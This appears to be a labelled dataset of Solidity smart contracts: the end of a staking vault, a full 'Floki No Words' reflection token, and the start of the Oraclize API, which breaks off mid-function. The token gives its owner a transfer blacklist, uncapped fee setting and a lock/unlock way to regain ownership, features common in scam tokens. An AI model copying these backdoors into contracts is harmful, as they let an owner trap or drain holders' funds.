} function getPendingDisbursement() public view returns (uint) { uint timeDiff = block.timestamp.sub(lastDisburseTime); uint pendingDisburse = disburseAmount .mul(disbursePercentX100) .mul(timeDiff) .div(disburseDuration) .div(10000); return pendingDisburse; } /* function to allow owner to claim *other* ERC20 tokens sent to this contract. Owner cannot recover unclaimed tokens (they are burnt) */ function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { // require(_tokenAddr != tokenAddress && _tokenAddr != LPtokenAddress, "Cannot send out reward tokens or LP tokens!"); require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!"); require(_tokenAddr != tokenAddress , "Admin cannot Transfer out Reward Tokens from this vault!"); Token(_tokenAddr).transfer(_to, _amount); } }

True

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// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = address(0); } } contract FlokiNoWords is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address deadAddress = 0x0000000000000000000000000000000000000666; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _antibot; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Floki No Words"; string private _symbol = "No Words"; uint8 private _decimals = 9; uint256 public _burnFee = 10; uint256 private _previousburnFee = _burnFee; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _maxTxAmount = 500000000000 * 10**9; constructor () { _rOwned[_msgSender()] = _rTotal.div(100).mul(50); _rOwned[deadAddress] = _rTotal.div(100).mul(50); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[deadAddress] = true; _burnFee = 20; // Set burn fee super high until max tx turned on emit Transfer(address(0), _msgSender(), _tTotal.mul(50).div(100)); emit Transfer(address(0), deadAddress, _tTotal.mul(50).div(100)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(_antibot[from] != true,"ANTI BOT ACTIVATED"); if(from != owner() && to != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity,tAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256 ,uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div(10**2); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256 _totalamount) { uint256 cbfee = _amount.mul(_burnFee).div(10**2); return _totalamount.add(cbfee); } function _takeLiquidity(uint256 tLiquidity, uint256 _amount) private { uint256 currentRate = _getRate(); uint256 tliqfee = _amount.mul(0).div(10**2); uint256 rLiquidity = tliqfee.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) {_tOwned[address(this)] = _tOwned[address(this)].add(tliqfee);} uint256 tburn = tLiquidity - tliqfee; uint256 rburn = tburn.mul(currentRate); _rOwned[address(deadAddress)] = _rOwned[address(deadAddress)].add(rburn); if(_isExcluded[address(deadAddress)]) {_tOwned[address(deadAddress)] = _tOwned[address(deadAddress)].add(tburn);} } function removeAllFee() private { if(_taxFee == 0) return; _previousTaxFee = _taxFee; _previousburnFee = _burnFee; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousburnFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } // Management Functions ***Owner Only*** // function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } //True blocks the bots address function set_antibot(address account, bool active) public onlyOwner() { _antibot[account] = active; } function setFees(uint256 burnfee, uint256 taxfee) external onlyOwner() { _burnFee = burnfee; _taxFee = taxfee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } function prepareForPreSale() external onlyOwner() { _taxFee = 0; _burnFee = 0; _maxTxAmount = 100000000000000 * 10**9; } function afterPreSale() external onlyOwner() { _taxFee = 5; _burnFee = 10; _maxTxAmount = 500000000000 * 10**9; } }

True

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pragma solidity 0.4.24; // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary //pragma solidity >=0.4.18;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } /* Begin solidity-cborutils https://github.com/smartcontractkit/solidity-cborutils MIT License Copyright (c) 2018 SmartContract ChainLink, Ltd. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal pure { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); // Allocate space for the buffer data buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private pure { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private pure returns(uint) { if(a > b) { return a; } return b; } /** * @dev Appends a byte array to the end of the buffer. Resizes if doing so * would exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, bytes data) internal pure returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, data.length) * 2); } uint dest; uint src; uint len = data.length; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Start address = buffer address + buffer length + sizeof(buffer length) dest := add(add(bufptr, buflen), 32) // Update buffer length mstore(bufptr, add(buflen, mload(data))) src := add(data, 32) } // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return buf; } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function append(buffer memory buf, uint8 data) internal pure { if(buf.buf.length + 1 > buf.capacity) { resize(buf, buf.capacity * 2); } assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) let dest := add(add(bufptr, buflen), 32) mstore8(dest, data) // Update buffer length mstore(bufptr, add(buflen, 1)) } } /** * @dev Appends a byte to the end of the buffer. Resizes if doing so would * exceed the capacity of the buffer. * @param buf The buffer to append to. * @param data The data to append. * @return The original buffer. */ function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) { if(len + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, len) * 2); } uint mask = 256 ** len - 1; assembly { // Memory address of the buffer data let bufptr := mload(buf) // Length of existing buffer data let buflen := mload(bufptr) // Address = buffer address + buffer length + sizeof(buffer length) + len let dest := add(add(bufptr, buflen), len) mstore(dest, or(and(mload(dest), not(mask)), data)) // Update buffer length mstore(bufptr, add(buflen, len)) } return buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure { if(value <= 23) { buf.append(uint8((major << 5) | value)); } else if(value <= 0xFF) { buf.append(uint8((major << 5) | 24)); buf.appendInt(value, 1); } else if(value <= 0xFFFF) { buf.append(uint8((major << 5) | 25)); buf.appendInt(value, 2); } else if(value <= 0xFFFFFFFF) { buf.append(uint8((major << 5) | 26)); buf.appendInt(value, 4); } else if(value <= 0xFFFFFFFFFFFFFFFF) { buf.append(uint8((major << 5) | 27)); buf.appendInt(value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure { buf.append(uint8((major << 5) | 31)); } function encodeUInt(Buffer.buffer memory buf, uint value) internal pure { encodeType(buf, MAJOR_TYPE_INT, value); } function encodeInt(Buffer.buffer memory buf, int value) internal pure { if(value >= 0) { encodeType(buf, MAJOR_TYPE_INT, uint(value)); } else { encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value)); } } function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure { encodeType(buf, MAJOR_TYPE_BYTES, value.length); buf.append(value); } function encodeString(Buffer.buffer memory buf, string value) internal pure { encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length); buf.append(bytes(value)); } function startArray(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory buf) internal pure { encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE); } } /* End solidity-cborutils */ contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Ledger = 0x30; byte constant proofType_Android = 0x40; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public pure { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = 